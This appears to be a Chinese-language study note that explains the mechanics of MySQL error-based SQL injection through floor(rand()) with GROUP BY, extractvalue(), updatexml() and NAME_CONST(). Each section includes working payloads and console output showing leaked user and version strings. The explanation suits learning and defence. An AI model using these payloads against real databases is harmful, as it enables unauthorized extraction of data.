簡介
這段時間學習SQL盲注中的報錯注入,發現語句就是那么兩句,但是一直不知道報錯原因,所以看着別人的帖子學習一番,小本本記下來
(1) count() , rand() , group by
1.報錯語句構造
先直接上兩個網上經常使用的報錯語句,主要分析第一條,第二條是簡化后的
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
可以看出兩個句子的原理都是相同的
2.rand() floor()函數
我們現在從最里向外分析整條語句.先從floor(rand(0)*2) 開始
- rand()函數會隨機產生[0,1)之間的浮點數.
- rand()函數可以自己設置隨機種子,即rand(N),這個時候產生的隨機數是偽隨機數.也就是我們多次生成的是相同的.
- floor(N)函數會返回一個小於或等於傳入參數N的最大整數(相當於截斷小數部分)
先來看一下rand()不設置隨機種子的情況.
可以看出來,連續執行兩次的結果是完全不同的.再來看一下設置隨機種子后,rand函數的值
自己可以試一試,多次重復的值是相同的,而這里也是整個報錯語句的關鍵.先加下前6位是 011011
3 concat()函數 0x3a的作用 別名a
- concat()函數將字符串會將字符串拼接起來
- 0x3a的ASCII碼是 : 主要是用來分隔其他字符串,讓人可以快速定位重要信息
- 在括號后面有一個a是別名的意思,是as a的簡寫.它是前面語句的另一個名字,主要是為了減少重復出現復雜語句
4. group by 與 count()
- group by a 會根據a的規則對數據進行分組,而分組的時候,mysql會建立一個臨時空表進行分組.
- count()聚散函數,會進行計數
5.報錯分析
報錯的原因是因為rand()函數在查詢的時候會執行一次,插入的時候還會執行一次.這就是整個語句報錯的關鍵
前面說過floor(rand(0)*2) 前六位是011011. group by a先建立一個空表,用於分組.然后進行分組查詢,第一次rand()執行,查詢的結果是
0,因為是空表所以插入這條,而插入的時候rand()又執行了一次,所以表中的結果就是
第一次執行完,接着執行rand()的值為1,因為表中存在,所以加1,表中結果成為
到了第三次執行rand()是值為0,因為表中不存在所以要插入新的數據,這次插入rand()再次執行,所以插入的又是1.而表中已經存在1了
此時插入因為重復出現同一個key,就會出現報錯 重復出現key.而報錯中會說明那個key有問題,我們的key中結合了想要了解的字符串root@localhost
這樣就實現了報錯注入,拿到了自己想要的數據
這就是整個報錯注入的原理了,rand(),floor() group by 函數缺一不可.
(2) XML函數之ExtractValue()
1.報錯語句構造
select extractvalue(1,concat(0x7e,user(),0x7e))
1 mysql> select extractvalue(1,concat(0x7e,user(),0x7e)); 2 ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
2.ExtractValue()函數
- ExtractValue(xml_str , Xpath) 函數,使用Xpath表示法從XML格式的字符串中提取一個值
- ExtractValue()函數中任意一個參數為NULL,返回值都是NULL.
1 mysql> select extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>','/a/c'); 2 +-----------------------------------------------------------------------+ 3 | extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>','/a/c') | 4 +-----------------------------------------------------------------------+ 5 | accc | 6 +-----------------------------------------------------------------------+
1 mysql> select extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>',NULL); 2 +---------------------------------------------------------------------+ 3 | extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>',NULL) | 4 +---------------------------------------------------------------------+ 5 | NULL | 6 +---------------------------------------------------------------------+
3.報錯分析
上面說明了正常情況下的extractvalue函數使用方法,Xpath語法可以自行google.但是如果我們構造了
不符合規定的Xpath,MySQL就會報語法錯誤,並顯示XPath的內容.
但是什么樣子的字符串會引發報錯呢.
發現報錯竟然消失了一部分,前面的root不見了.因為XPATH語法報錯的是那些特殊字符,遇到特殊字符就會報錯.
所以0x7e,ASCII碼是~ 就會從頭開始報錯.
可以看出來報錯會從遇到的第一個特殊字符處開始報錯.直到結束.但是報錯的長度是有限制的.如下圖應該出現
字符串最后並沒全部顯示出來,而是后面的字符串被截斷了.
(3)XML函數之updatexml()
1.報錯語句
select updatexml(1,concat(0x7e,version(),0x7e),1)
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~5.7.19~'
2.updatexml()函數
updatexml(xml,xpath,new_xml),此函數使用nex_xml根據xpath來替換xml字符串中特定的值.和上面的道理是相同的,都是通過xpath語法
錯誤來報錯.原來也和上面的相同.不再具體描述.
(4) name_const() 重復報錯(不推薦)
1.報錯語句構造
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
1 mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a; 2 ERROR 1060 (42S21): Duplicate column name '5.7.19'
2.name_const()函數
name_const(name,value)函數會用傳入的參數返回一列結果集.傳入的參數必須是常量
1 mysql> SELECT NAME_CONST('myname', 14); 2 +--------+ 3 | myname | 4 +--------+ 5 | 14 | 6 +--------+
如果傳入的參數不是常量,就會報錯.
1 mysql> select name_const(database(),1); 2 ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
3.報錯分析
報錯原因就是因為兩列列名相同,外面選擇時候報錯,說重復列.
1 mysql> select name_const(version(),1),name_const(version(),1); 2 +--------+--------+ 3 | 5.7.19 | 5.7.19 | 4 +--------+--------+ 5 | 1 | 1 | 6 +--------+--------+ 7 1 row in set (0.00 sec)
然而個人認為這個報錯注入很雞肋,沒有多大用,嘗試了一下只用version()函數可以使用,其他可能因為不是常量的原因.
name_const()函數會報參數錯誤的錯誤,不會回顯想要的信息.